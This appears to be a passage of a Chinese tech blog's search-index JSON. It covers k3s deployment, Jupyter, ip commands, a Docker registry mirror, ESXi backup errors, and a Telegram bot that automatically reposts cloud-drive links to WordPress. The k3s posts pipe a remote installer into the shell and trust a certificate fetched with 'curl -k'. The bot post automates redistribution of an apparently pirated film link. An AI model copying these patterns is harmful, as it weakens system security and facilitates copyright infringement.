一步步的来，在体系树上一片片叶子的补全\n","date":"2023-11-07T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/11/workshops%E4%BD%BF%E7%94%A8k3s%E9%83%A8%E7%BD%B2%E9%95%9C%E5%83%8F%E7%BC%93%E5%AD%98%E4%BB%A5%E5%8F%8A%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/","tags":["k3s","k8s","Workshops"],"title":"[Workshops]使用k3s部署镜像缓存以及管理系统"},{"categories":["devops"],"contents":"记录下K3s agent 部署的过程，官网给了简单的Oneclick 的命令，但是实际安装过长中还是遇到了些许的问题。这里就记录一下。\nk3s 默认使用 containerd 作为容器运行时, 因为我更熟悉 docker, 所以打算在 k3s 中使用 docker 代替 containerd.\n先升级一下系统\napt update apt upgrade -y 在系统中安装 docker, 直接使用 apt 安装\napt install docker.io 然后安装 k3s 的 master 节点\ncurl -sfL https://get.k3s.io | sh -s - --docker 安装完成后, 从 master 节点上的 /var/lib/rancher/k3s/server/node-token 获取到 token 值. 然后用 token 值安装 node 节点\n这里的Server 是已经配置好的hostname，需要网络是可通状态。\ncurl -sfL https://get.k3s.io | K3S_URL=https://server:6443 K3S_TOKEN=token sh -s - --docker 给 node 节点添加 role，\nkubectl label node k3s-worker node-role.kubernetes.io/worker=worker 计划中 master 和 node 将使用两个网络出口, 给两种服务提供支撑, 所以我们需要给节点打标记来让应用可以正确的部署到对应的节点中。\n因为计划把master作为registry，所以这里打上 storage 的标签。\nkubectl label nodes k3s-master network=proxy kubectl label nodes k3s-worker network=direct kubectl label nodes k3s-master storage=true 正文 需要先在Worker上信任Server证书，命令如下\ncurl -k https://192.168.3.xxx:6443/cacerts -o /usr/local/share/ca-certificates/k3s.crt update-ca-certificates 查看Worker\nsudo cat /var/lib/rancher/k3s/server/node-token LOAD_BALANCER_IP=192.168.0.73 TOKEN=\u0026#34;K1033...\u0026#34; sudo curl -sfL https://get.k3s.io | K3S_URL=https://$LOAD_BALANCER_IP:6443 K3S_TOKEN=$TOKEN sh - ","date":"2023-11-01T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/11/k3s-%E9%83%A8%E7%BD%B2%E8%AE%B0%E5%BD%95/","tags":["k3s","k8s","Workshops"],"title":"[Workshops]K3s部署记录"},{"categories":["学习小目标"],"contents":"Jupyter 引入工作流 前 平时遇到一些场景需要使用代码演示的时候，一个个独立的py文件导致项目非常的混乱和松散。经过了Jupyter的极简入门之后，决定把它引入到自己的日常工作流。 用过才知有多香。\n简介 正如百科中提到的，ipynb 的文件可以实现 python代码以及 markdown 的混合编写。以及可以对python 的代码进行分段的运行和调试。此外 pyplot之类图形化的lab 也可以直接在执行的结果中展示出来，十分的简单和方便。\nJupyter Notebook 的主要优势在于它的交互性和可重复性。它可以让用户轻松地探索数据、测试假设、创建模型并与他人共享自己的分析结果。此外，Jupyter Notebook 还提供了一些强大的可视化工具和数据处理库，使得数据科学家和研究人员可以更加高效地进行数据分析工作。\n使用案例 写在前面 这里列出一个自己的使用真实案例，之后对自己用到的一些要点来进行总结。 这里只总结python 部分，markdown 部分和平时使用无太大差异。功能上支持了更多的公式表达。\n这部分的代码非常的丑陋（冗余），是因为编写的时候就是奔着演示和单步执行去的。所以性能根本没有考虑。都是需要什么数据加什么数据，所以导致代码整体是不怎么优雅的\n背景说明 因为有反馈是某个业务接口的请求存在异常的长耗时的情况，所以就使用了 curl 命令来请求并且输出请求的各项耗时。 一共14w条数据\ncurl -o /dev/null -s -w \u0026#34;time_namelookup: %{time_namelookup}\\ntime_connect: %{time_connect}\\ntime_appconnect: %{time_appconnect}\\ntime_redirect: %{time_redirect}\\ntime_pretransfer: %{time_pretransfer}\\ntime_starttransfer: %{time_starttransfer}\\ntime_total: %{time_total}\\n\u0026#34; \u0026#34;https://api.xxx.xxx/perp/v1/order/cancel\u0026#34; time_namelookup：从开始到域名解析完成时的耗时 time_connect：从开始到 TCP 连接建立完成的耗时 time_appconnect：从开始到 TLS 连接建立完成的耗时 time_redirect：多次重定向（如果有）的耗时 time_pretransfer：从开始到准备发送请求消息前的耗时 time_starttransfer：从开始到服务器准备返回第一个字节时的耗时 time_total：整个 HTTP 请求操作耗时 初始化部分 在notebook中代码是可以进行分段执行的，但是lib和 变量是共享的。所以在习惯上会把一些初始化的包引入单独出来。\n!pip install matplotlib !pip install numpy import numpy import matplotlib.pyplot as plt import matplotlib.dates as mdates from datetime import datetime import numpy as np import re 魔法命令 这里值得注意的是这个 !开头的语句，这是JP中的魔法语句。 这里的意思是直接在shell中来执行pip安装所需要的包\n!cmd是新建一个子shell执行cmd，cmd执行完了，这个子shell也就消失了。 在当前shell生效，需要使用%cmd 参考\nBuilt-in magic commands 玩转Jupyter Notebook3-(“魔法”命令篇) 数据处理部分 数据读取以及值解析提取\nimport re curve_data_map = { \u0026#34;time_namelookup\u0026#34;: [], \u0026#34;time_connect\u0026#34;: [], \u0026#34;time_appconnect\u0026#34;: [], \u0026#34;time_redirect\u0026#34;: [], \u0026#34;time_pretransfer\u0026#34;: [], \u0026#34;time_starttransfer\u0026#34;: [], \u0026#34;time_total\u0026#34;: [], \u0026#34;x\u0026#34;: [] } with open(\u0026#39;./curl.log\u0026#39;) as f: line = f.readline() while line: ts = line.split(\u0026#39;time_namelookup\u0026#39;)[0].split()[0] pattern = r\u0026#34;\\b-\\d+\\.\\d+\\b|\\b-\\d+\\b\\.\\d+\\b|-\\d+\\b|-\\.\\d+|\\b\\d+\\.\\d+\\b|\\b\\d+\\b\\.\\d+\\b|\\.\\d+\u0026#34; elapseds = re.findall(pattern, line) curve_data_map[\u0026#39;time_namelookup\u0026#39;].append(elapseds[0]) curve_data_map[\u0026#39;time_connect\u0026#39;].append(elapseds[1]) curve_data_map[\u0026#39;time_appconnect\u0026#39;].append(elapseds[2]) curve_data_map[\u0026#39;time_redirect\u0026#39;].append(elapseds[3]) curve_data_map[\u0026#39;time_pretransfer\u0026#39;].append(elapseds[4]) curve_data_map[\u0026#39;time_starttransfer\u0026#39;].append(elapseds[5]) curve_data_map[\u0026#39;time_total\u0026#39;].append(elapseds[6]) curve_data_map[\u0026#39;x\u0026#39;].append(ts) line = f.readline() print(len(curve_data_map[\u0026#39;time_total\u0026#39;]), curve_data_map[\u0026#39;time_total\u0026#39;][:10]) 组成曲线数据 组装目前分析的曲线数据\ndef make_curve(serial_data): ser_avg_data = { \u0026#39;x\u0026#39;:[], \u0026#39;y\u0026#39;:[], \u0026#39;label\u0026#39;: \u0026#34;Avg\u0026#34; } ser_p99_data = { \u0026#39;x\u0026#39;:[], \u0026#39;y\u0026#39;:[], \u0026#39;label\u0026#39;: \u0026#34;p99\u0026#34; } ser_p95_data = { \u0026#39;x\u0026#39;:[], \u0026#39;y\u0026#39;:[], \u0026#39;label\u0026#39;: \u0026#34;p95\u0026#34; } ser_p90_data = { \u0026#39;x\u0026#39;:[], \u0026#39;y\u0026#39;:[], \u0026#39;label\u0026#39;: \u0026#34;p90\u0026#34; } def to_float(y): return [float(x) for x in y] elapsed_avg_padding = [sum(to_float(serial_data[\u0026#39;y\u0026#39;])) / len(serial_data[\u0026#39;y\u0026#39;])] * len(serial_data[\u0026#39;y\u0026#39;]) ser_avg_data[\u0026#39;x\u0026#39;]= serial_data[\u0026#39;x\u0026#39;] ser_p99_data[\u0026#39;x\u0026#39;] = serial_data[\u0026#39;x\u0026#39;] ser_p95_data[\u0026#39;x\u0026#39;] = serial_data[\u0026#39;x\u0026#39;] ser_p90_data[\u0026#39;x\u0026#39;] = serial_data[\u0026#39;x\u0026#39;] ser_avg_data[\u0026#39;y\u0026#39;]= elapsed_avg_padding ser_p99_data[\u0026#39;y\u0026#39;] = [np.percentile(to_float(serial_data[\u0026#39;y\u0026#39;]), 99)] * len(serial_data[\u0026#39;y\u0026#39;]) ser_p95_data[\u0026#39;y\u0026#39;] = [np.percentile(to_float(serial_data[\u0026#39;y\u0026#39;]), 95)] * len(serial_data[\u0026#39;y\u0026#39;]) ser_p90_data[\u0026#39;y\u0026#39;] = [np.percentile(to_float(serial_data[\u0026#39;y\u0026#39;]), 90)] * len(serial_data[\u0026#39;y\u0026#39;]) serial_data[\u0026#39;label\u0026#39;] = \u0026#34;time\u0026#34; print(ser_avg_data[\u0026#39;y\u0026#39;][0], ser_p99_data[\u0026#39;y\u0026#39;][0], ser_p95_data[\u0026#39;y\u0026#39;][0], ser_p90_data[\u0026#39;y\u0026#39;][0]) serials= [ serial_data, ser_avg_data, ser_p99_data, ser_p95_data, ser_p90_data ] return serials curve_map = { \u0026#39;time_namelookup\u0026#39;: make_curve({\u0026#34;x\u0026#34;:curve_data_map[\u0026#39;x\u0026#39;], \u0026#39;y\u0026#39;: curve_data_map[\u0026#39;time_namelookup\u0026#39;]}), \u0026#39;time_connect\u0026#39;: make_curve({\u0026#34;x\u0026#34;:curve_data_map[\u0026#39;x\u0026#39;], \u0026#39;y\u0026#39;: curve_data_map[\u0026#39;time_connect\u0026#39;]}), \u0026#39;time_appconnect\u0026#39;: make_curve({\u0026#34;x\u0026#34;:curve_data_map[\u0026#39;x\u0026#39;], \u0026#39;y\u0026#39;: curve_data_map[\u0026#39;time_appconnect\u0026#39;]}), \u0026#39;time_redirect\u0026#39;: make_curve({\u0026#34;x\u0026#34;:curve_data_map[\u0026#39;x\u0026#39;], \u0026#39;y\u0026#39;: curve_data_map[\u0026#39;time_redirect\u0026#39;]}), \u0026#39;time_pretransfer\u0026#39;: make_curve({\u0026#34;x\u0026#34;:curve_data_map[\u0026#39;x\u0026#39;], \u0026#39;y\u0026#39;: curve_data_map[\u0026#39;time_pretransfer\u0026#39;]}), \u0026#39;time_starttransfer\u0026#39;: make_curve({\u0026#34;x\u0026#34;:curve_data_map[\u0026#39;x\u0026#39;], \u0026#39;y\u0026#39;: curve_data_map[\u0026#39;time_starttransfer\u0026#39;]}), \u0026#39;time_total\u0026#39;: make_curve({\u0026#34;x\u0026#34;:curve_data_map[\u0026#39;x\u0026#39;], \u0026#39;y\u0026#39;: curve_data_map[\u0026#39;time_total\u0026#39;]}) } 画图 # todo plot all serial in one polt with diffetent subplots def plot_multi_line_svg(title, serials): def to_float(y): return [float(x) for x in y] def to_int(y): return [int(x) for x in y] fig, ax = plt.subplots() for serial in serials: try: dates = [datetime.fromtimestamp(ts) for ts in to_int(serial[\u0026#39;x\u0026#39;])][10:10000] ax.plot(dates, to_float(serial[\u0026#39;y\u0026#39;][10:10000]), label=serial[\u0026#39;label\u0026#39;]) except Exception as e: print(repr(e)) # url decode title string import urllib.parse title = urllib.parse.unquote(title) # date_fmt = \u0026#39;%Y-%m-%d %H:%M:%S\u0026#39; date_fmt = \u0026#39;%H:%M\u0026#39; date_formatter = mdates.DateFormatter(date_fmt) ax.xaxis.set_major_formatter(date_formatter) ax.set_title(title) ax.legend() plt.ylabel(\u0026#34;value\u0026#34;) # today date YMD format plt.xlabel(datetime.now().strftime(\u0026#39;%Y-%m-%d\u0026#39;)) fig.autofmt_xdate() # image_name = \u0026#34;output.png\u0026#34; # fig.savefig(image_name, format=\u0026#39;png\u0026#39;, dpi=80) # return image_name plot_multi_line_svg(\u0026#34;time_namelookup\u0026#34;, curve_map[\u0026#39;time_namelookup\u0026#39;]) plot_multi_line_svg(\u0026#34;time_connect\u0026#34;, curve_map[\u0026#39;time_connect\u0026#39;]) plot_multi_line_svg(\u0026#34;time_appconnect\u0026#34;, curve_map[\u0026#39;time_appconnect\u0026#39;]) plot_multi_line_svg(\u0026#34;time_redirect\u0026#34;, curve_map[\u0026#39;time_redirect\u0026#39;]) plot_multi_line_svg(\u0026#34;time_pretransfer\u0026#34;, curve_map[\u0026#39;time_pretransfer\u0026#39;]) plot_multi_line_svg(\u0026#34;time_starttransfer\u0026#34;, curve_map[\u0026#39;time_starttransfer\u0026#39;]) plot_multi_line_svg(\u0026#34;time_total\u0026#34;, curve_map[\u0026#39;time_total\u0026#39;]) plt.show() ","date":"2023-07-25T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/07/jupyter-%E5%BC%95%E5%85%A5%E5%B7%A5%E4%BD%9C%E6%B5%81/","tags":["weekly"],"title":"Jupyter 引入工作流"},{"categories":["Dev"],"contents":"极简Jupyter Notebook 使用手册 Jupyter Notebook 是一个基于 Web 的交互式计算环境，它支持运行 40 多种编程语言，并且可以用于数据清理和转换、数值模拟、统计建模、数据可视化、机器学习等多种数据处理任务。本手册旨在介绍 Jupyter Notebook 的基础使用和一些使用技巧。\n是什么 Jupyter Notebook 是一个开源的 Web 应用程序，它允许用户创建和共享包含代码、文本、数学方程式、可视化和其他富媒体内容的文档。Jupyter Notebook 的名称来源于三种编程语言（Julia、Python 和 R）的首字母。\n解决什么问题 Jupyter Notebook 的主要优势在于它的交互性和可重复性。它可以让用户轻松地探索数据、测试假设、创建模型并与他人共享自己的分析结果。此外，Jupyter Notebook 还提供了一些强大的可视化工具和数据处理库，使得数据科学家和研究人员可以更加高效地进行数据分析工作。\n基础的使用 安装 Jupyter Notebook 要使用 Jupyter Notebook，首先需要安装它。可以使用 pip 命令安装 Jupyter Notebook：\npip install jupyter notebook 启动 Jupyter Notebook 安装完成后，可以使用以下命令启动 Jupyter Notebook：\njupyter notebook 这会在本地服务器上启动 Jupyter Notebook 并在默认浏览器中打开它。\n创建新的 Notebook 启动 Jupyter Notebook 后，可以在浏览器中创建一个新的 Notebook。在主界面中，单击右上角的“New”按钮，然后选择要使用的编程语言和内核。此时将打开一个新的 Notebook，可以在其中编写代码和文本。\n编写代码 在 Notebook 中，可以使用代码单元格编写和运行代码。要添加新的代码单元格，请单击菜单栏中的“Insert”按钮，然后选择“Insert Cell Below”或“Insert Cell Above”。然后可以在新的代码单元格中编写代码。要运行代码，请点击单元格左侧的运行按钮（或者使用 Shift + Enter 快捷键）。\n编写文本 在 Notebook 中，可以使用 Markdown 单元格编写和格式化文本。要添加新的 Markdown 单元格，请单击菜单栏中的“Insert”按钮，然后选择“Insert Cell Below”或“Insert Cell Above”。然后可以在新的 Markdown 单元格中编写文本。要渲染 Markdown 单元格，请点击单元格左侧的运行按钮（或者使用 Shift + Enter 快捷键）。\n使用技巧 快捷键 Jupyter Notebook 提供了许多有用的快捷键，可以帮助用户更高效地使用它。例如，Shift + Enter 可以运行当前单元格并跳转到下一个单元格，Esc + A 可以在当前单元格上面插入一个新单元格，Esc + B 可以在当前单元格下面插入一个新单元格，等等。用户可以通过单击菜单栏中的“Help”按钮，然后选择“Keyboard Shortcuts”来查看所有可用的快捷键。\nMagic 命令 Jupyter Notebook 还支持一些特殊的命令，称为 Magic 命令。这些命令以 % 或 %% 开头，并且可以用于执行一些特殊的任务，例如测量代码的执行时间、调试代码、导入文件等等。用户可以通过输入 %magic 命令来查看所有可用的 Magic 命令。\n扩展插件 Jupyter Notebook 还支持许多扩展插件，可以增强其功能并提高用户体验。可以通过 pip 命令安装这些插件，并在 Jupyter Notebook 中启用它们。例如，jupyter_contrib_nbextensions 包提供了许多有用的扩展插件，例如代码折叠、表格编辑、可拖动单元格等等。安装这个包后，可以在 Jupyter Notebook 中启用这些插件，并将它们添加到笔记本中。\n结论 Jupyter Notebook 是一个非常强大的工具，可以帮助数据科学家、研究人员和程序员更高效地进行数据分析和编程工作。本手册介绍了 Jupyter Notebook 的基础使用和一些使用技巧，希望能够帮助读者更好地利用 Jupyter Notebook。如果您想了解更多关于 Jupyter Notebook 的信息，请查阅官方文档。\n","date":"2023-07-24T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/07/%E6%9E%81%E7%AE%80jupyter-notebook-%E4%BD%BF%E7%94%A8%E6%89%8B%E5%86%8C/","tags":["Jupyter","IDE"],"title":"极简Jupyter Notebook 使用手册"},{"categories":["op之路"],"contents":"ip 网络配置工具\n补充说明 ip命令 用来显示或操纵Linux主机的路由、网络设备、策略路由和隧道，是Linux下较新的功能强大的网络配置工具。\n语法 ip(选项)(对象) Usage: ip [ OPTIONS ] OBJECT { COMMAND | help } ip [ -force ] -batch filename 对象 OBJECT := { link | address | addrlabel | route | rule | neigh | ntable | tunnel | tuntap | maddress | mroute | mrule | monitor | xfrm | netns | l2tp | macsec | tcp_metrics | token } -V：显示指令版本信息； -s：输出更详细的信息； -f：强制使用指定的协议族； -4：指定使用的网络层协议是IPv4协议； -6：指定使用的网络层协议是IPv6协议； -0：输出信息每条记录输出一行，即使内容较多也不换行显示； -r：显示主机时，不使用IP地址，而使用主机的域名。 选项 OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] | -h[uman-readable] | -iec | -f[amily] { inet | inet6 | ipx | dnet | bridge | link } | -4 | -6 | -I | -D | -B | -0 | -l[oops] { maximum-addr-flush-attempts } | -o[neline] | -t[imestamp] | -ts[hort] | -b[atch] [filename] | -rc[vbuf] [size] | -n[etns] name | -a[ll] } 网络对象：指定要管理的网络对象； 具体操作：对指定的网络对象完成具体操作； help：显示网络对象支持的操作命令的帮助信息。 实例 ip link show # 显示网络接口信息 ip link set eth0 up # 开启网卡 ip link set eth0 down # 关闭网卡 ip link set eth0 promisc on # 开启网卡的混合模式 ip link set eth0 promisc offi # 关闭网卡的混合模式 ip link set eth0 txqueuelen 1200 # 设置网卡队列长度 ip link set eth0 mtu 1400 # 设置网卡最大传输单元 ip addr show # 显示网卡IP信息 ip addr add 192.168.0.1/24 dev eth0 # 为eth0网卡添加一个新的IP地址192.168.0.1 ip addr del 192.168.0.1/24 dev eth0 # 为eth0网卡删除一个IP地址192.168.0.1 ip route show # 显示系统路由 ip route add default via 192.168.1.254 # 设置系统默认路由 ip route list # 查看路由信息 ip route add 192.168.4.0/24 via 192.168.0.254 dev eth0 # 设置192.168.4.0网段的网关为192.168.0.254,数据走eth0接口 ip route add default via 192.168.0.254 dev eth0 # 设置默认网关为192.168.0.254 ip route del 192.168.4.0/24 # 删除192.168.4.0网段的网关 ip route del default # 删除默认路由 ip route delete 192.168.1.0/24 dev eth0 # 删除路由 用ip命令显示网络设备的运行状态\n[root@localhost ~]# ip link list 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 16436 qdisc noqueue link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 2: eth0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc pfifo_fast qlen 1000 link/ether 00:16:3e:00:1e:51 brd ff:ff:ff:ff:ff:ff 3: eth1: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc pfifo_fast qlen 1000 link/ether 00:16:3e:00:1e:52 brd ff:ff:ff:ff:ff:ff 显示更加详细的设备信息\n[root@localhost ~]# ip -s link list 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 16436 qdisc noqueue link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 RX: bytes packets errors dropped overrun mcast 5082831 56145 0 0 0 0 TX: bytes packets errors dropped carrier collsns 5082831 56145 0 0 0 0 2: eth0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc pfifo_fast qlen 1000 link/ether 00:16:3e:00:1e:51 brd ff:ff:ff:ff:ff:ff RX: bytes packets errors dropped overrun mcast 3641655380 62027099 0 0 0 0 TX: bytes packets errors dropped carrier collsns 6155236 89160 0 0 0 0 3: eth1: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc pfifo_fast qlen 1000 link/ether 00:16:3e:00:1e:52 brd ff:ff:ff:ff:ff:ff RX: bytes packets errors dropped overrun mcast 2562136822 488237847 0 0 0 0 TX: bytes packets errors dropped carrier collsns 3486617396 9691081 0 0 0 0 显示核心路由表\n[root@localhost ~]# ip route list 112.124.12.0/22 dev eth1 proto kernel scope link src 112.124.15.130 10.160.0.0/20 dev eth0 proto kernel scope link src 10.160.7.81 192.168.0.0/16 via 10.160.15.247 dev eth0 172.16.0.0/12 via 10.160.15.247 dev eth0 10.0.0.0/8 via 10.160.15.247 dev eth0 default via 112.124.15.247 dev eth1 显示邻居表\n[root@localhost ~]# ip neigh list 112.124.15.247 dev eth1 lladdr 00:00:0c:9f:f3:88 REACHABLE 10.160.15.247 dev eth0 lladdr 00:00:0c:9f:f2:c0 STALE 获取主机所有网络接口\nip link | grep -E \u0026#39;^[0-9]\u0026#39; | awk -F: \u0026#39;{print $2}\u0026#39; ","date":"2023-07-23T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/07/ip-%E5%91%BD%E4%BB%A4%E5%B8%B8%E7%94%A8%E9%9B%86%E5%90%88/","tags":["op","shell"],"title":"IP 常用命令集合"},{"categories":["category1"],"contents":"镜像加速缓存部署 前 Homelab 折腾K3S 一些基础镜像每次都是到官方的reg上去拉取，速度的确是有点慢。想着搭建一个 镜像的缓存。用来缓存远程的image来加速拉取以及减少额外流量。\n部署 registry 这里使用 docker run 或者 后面提供的 docker-compose来进行一键挂载。通过挂载目录持久化保存镜像数据缓存,方便后续使用.\n虽说compose 在商业上已经宣布死亡，但是在爱好者的领域焕发生机\ndocker run -d --name registry --restart always \\ -p 5000:5000 \\ -v /data/registry:/var/lib/registry \\ -e REGISTRY_PROXY_REMOTEURL=https://registry-1.docker.io \\ registry:2 -e REGISTRY_PROXY_REMOTEURL=https://registry-1.docker.io 为指定上游远程镜像仓库为官方镜像仓库.\nversion: \u0026#39;3\u0026#39; services: registry: image: registry:2 container_name: registry restart: always ports: - \u0026#34;5000:5000\u0026#34; environment: REGISTRY_PROXY_REMOTEURL: https://registry-1.docker.io volumes: - /data/registry:/var/lib/registry 通过 ngixn 反向代理配置域名（可选） 如果是公网环境的话推荐为仓库提供反向代理以及配置域名和证书使用.。内网环境的话就无所谓了。\n客户端配置 daemon.json 客户端配置daemon.json的registry-mirrors参数来指定加速镜像仓库.\n例如 registry 所在服务器公网 IP 为 1.2.3.4 ,且防火墙开放了 5000 端口.注意此处需要明确填写 http 协议.\n{ \u0026#34;registry-mirrors\u0026#34;: [ \u0026#34;http://1.2.3.4:5000\u0026#34; ] } # 如果有域名以及证书配置的话 { \u0026#34;registry-mirrors\u0026#34;: [ \u0026#34;https://registry.yourdomain.com\u0026#34; ] } 配置完成需重载 daemon 并重启 docker\nsudo systemctl daemon-reload sudo systemctl restart docker 后 关于更多功能功能可以参考官方文档.\n同场加映Joxit/docker-registry-ui - GitHub 一个WebUI用于管理和展示 仓库的详细内容，以及对镜像进行基础管理。\n","date":"2023-07-23T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/07/docker-%E7%BC%93%E5%AD%98%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93/","tags":["tag1"],"title":"镜像加速缓存部署"},{"categories":["每周分享"],"contents":"Telegram-wordpress自动发布机器人 前 www 资源站开了有一段时间，但是内容上感觉还是可以的。但是苦于自己没有引流的渠道。流量一直上不来。\n为了涨流量，想办法进行资源的分享和搬运。所以搞了个 TG-wordpress 的自动发布机器人。来实现TG 上的资源到 Wordpress 的自动转发。\n这里大体的实现上是使用telegram的消息监听，加上n8n的自动化 工作流的实现。因为本身不需要性能上的要求，所以本着快速输出，不重复造轮子的思想。\nTelegram 机器人功能 这里贴一下核心代码，具体思路是监听 Tg 的固定的频道。获取新消息之后进行判断以及解析。\n如果需要进行二次访问，那么是用接口继续进行二次访问来获取 bot 的消息。最终拿到拿到全部资源\n@client.on(events.NewMessage(from_users=user_list)) async def event_handler(event): message = event.message logging.info(msg=message.peer_id) if DEBUG: bot_id = \u0026#34;xxx\u0026#34; else: bot_id = \u0026#34;xxx\u0026#34; global src_output if message.peer_id == PeerChannel(channel[\u0026#34;阿里盘盘盘\u0026#34;]): logging.info(\u0026#34;get target message, check if msg is valid\u0026#34;) if \u0026#34;资源名称\u0026#34; in message.message and \u0026#34;点击获取\u0026#34; in message.message: if message.media is not None: logging.info(\u0026#34;发现媒体\u0026#34;) resource_pic = await download_image(message) text = message.message resource_name = re.search(r\u0026#34;资源名称：(.+)\\n\u0026#34;, text).group(1) resource_desc = re.search(r\u0026#34;资源简介：(.+)\\n\u0026#34;, text).group(1) keywords = re.findall(r\u0026#34;#\\w+\u0026#34;, text) src_output = { \u0026#34;resource_name\u0026#34;: resource_name, \u0026#34;resource_desc\u0026#34;: resource_desc, \u0026#34;resource_pic\u0026#34;: resource_pic, \u0026#34;keywords\u0026#34;: keywords, **src_output } link_url = list(message.entities)[0].url src_id = re.search(r\u0026#34;start=(.+)\u0026#34;, link_url).group(1) src_msg = await client.send_message(entity=bot_id, message=f\u0026#34;/start {src_id}\u0026#34;) if message.peer_id == PeerUser(bots[bot_id]): if \u0026#34;您所获取的链接\u0026#34; in message.message: resource_link = re.search(r\u0026#34;(?P\u0026lt;url\u0026gt;https?://[^\\s]+)\u0026#34;, message.message).group(\u0026#34;url\u0026#34;) logging.info(f\u0026#34;get resource link {resource_link}\u0026#34;) src_output = { \u0026#34;resource_link\u0026#34;: resource_link, **src_output } logging.info(msg=src_output) def post_json(url, data): with requests.post(url, data=data) as response: logging.info(response.json()) post_json(os.environ.get(\u0026#34;N8N_API_URL\u0026#34;), src_output) 通过上面的功能，最终可以拿到资源对应的 JSON 消息。之后进行后面的发布流程\n{ \u0026#34;resource_link\u0026#34;: \u0026#34;https://www.aliyundrive.com/s/X5iPaT5FFr5\u0026#34;, \u0026#34;resource_name\u0026#34;: \u0026#34;闪电侠 The Flash (2023) 1080p 高码 内封简英 \u0026amp; 繁英双语 【双语合并已校对】【4K HDR \u0026amp; DV 内封稍后】\u0026#34;, \u0026#34;resource_desc\u0026#34;: \u0026#34;巴里（埃兹拉·米勒 Ezra Miller 饰）用自己的超能力重返过去，想要改变历史、拯救自己的家人，然而他的所作所为，也在无意间改变了未来。在这个新的未来里，佐德将军（迈克尔·珊农 Michael Shannon 饰）回归，并威胁要毁灭世界。巴里孤立无援，除非他能劝动一位非常不同且已隐退的蝙蝠侠（迈克尔·基顿 Michael Keaton 饰）重出江湖，并拯救被囚禁的氪星人——尽管这位并不是他所熟悉的超人。最终，为了拯救他身处这个世界，并回到他熟知的未来，巴里惟一的希望就是为命运而极速狂奔。不过，即使巴里做出最终极的牺牲……他真的能让整个宇宙都重归正轨吗？\u0026#34;, \u0026#34;resource_pic\u0026#34;: \u0026#34;https://xxx.com/www/media/asxiiwjsxk-33-09.jpg\u0026#34;, \u0026#34;keywords\u0026#34;: [ \u0026#34;#DC宇宙\u0026#34;, \u0026#34;#闪电侠\u0026#34;, \u0026#34;#科幻\u0026#34;, \u0026#34;#动作\u0026#34;, \u0026#34;#1080p\u0026#34;, \u0026#34;#DDP\u0026#34; ] } N8N 工作流部分 N8n对我来说，的确算得上一个神器。对于一些小的功能，不是自己没有能力写轮子。总是懒的驱动。而且重复的流程代码维护性不是很强。\n而N8n算是一个维护性强，而且基于流程的可视化界面。还支持webhook等。的确算得上神器。\n下吗就是最终实现发布的 work flow的流程，提供一个webhook来进行触发。通过预定的 GPT 输入模板来对文本进行处理。最终发布到 Wordpress 平台。完成资源的获取以及发布。\n","date":"2023-07-17T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/07/telegram-%E8%87%AA%E5%8A%A8%E5%8F%91%E5%B8%83%E6%9C%BA%E5%99%A8%E4%BA%BA/","tags":["Misc"],"title":"Telegram-wordpress自动发布机器人"},{"categories":["折腾笔记"],"contents":"群晖备份Esxi报错踩坑 前 一篇经验文，没有什么内容，只是因为相关的文献比较少。问题又比较诡异，所以这里记录一下。\n因为 家里的homelab 上面接近十个VM 撑起了整个家庭的应用。备份是一定要做好的。所以使用群晖来进行 esxi 的直接备份。\n备份的时候出现了奇怪的问问题如下\nA general system error occurred: Fault cause: vim.fault.GenericVmConfigFault An error occurred while saving the snapshot: Object type requires hosted I/O. 这里简单地记录下是怎么解决的\n正文 vim.fault.GenericVmConfigFault 这个是快照的兼容性问题，执行 Consolidate VMDisks，再关机之后删除全部的快照。之后再次执行 Consolidate VMDisks 。来进行更改合并。\n这样就没有无法删除的快照了。就可以进行后面的备份操作。\nObject type requires hosted I/O. 这个问题主要可能是 VMDK 的兼容性问题导致，因为安装的 Homeassistant 是使用的 openvm 的格式，使用的时候直接挂载了，没有进行格式转换.\n使用下面的命令进行直接格式转换之后进行挂载即可。\nvmkfstools -i synoboot.vmdk synoboot-esxi.vmdk synoboot.vmdk is not a ESXi format. You can not create snapshots for synoboot.vmdk before you convert it to ESXi format. Apparently synoboot.vmdk was copied from Workstation or Fusion by somebody who was not aware of the different vmdk formats. If you open synoboot.vmdk you will see that the createType is not VMFS but monolithicSparse. Also note: **DiskLib_Check() failed for source disk \u0026lsquo;synoboot-s001.vmdk\u0026rsquo;: The file specified is not a virtual disk (15).* So to sum it up - we are seeing expected behaviour here ! *Power off the VM and run vmkfstools -i synoboot.vmdk synoboot-esxi.vmdk and then replace the WS-type vmdk with the newly created one. After that is done you should be able to create a snapshot as expected. Ulli\n参考：https://communities.vmware.com/t5/VMware-vSphere-Discussions/Error-when-create-a-VM-snapshot-Object-type-requires-hosted-I-O/td-p/498546\n","date":"2023-07-17T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/07/%E7%BE%A4%E6%99%96%E5%A4%87%E4%BB%BDesxi%E6%8A%A5%E9%94%99%E8%B8%A9%E5%9D%91/","tags":["esxi","homelab","backup"],"title":"群晖备份Esxi报错踩坑"},{"categories":["财务"],"contents":"How to prioritize spending your money - a flowchart (redesigned)\nhttps://www.reddit.com/r/personalfinance/wiki/index/\n","date":"2023-07-16T00:00:00Z","permalink":"https://blogs.12ms.xyz/draft/personalfinance/","tags":["财务规划","开销管理"],"title":"How to prioritize spending your money - a flowchart (redesigned)"},{"categories":["财务"],"contents":"How to prioritize spending 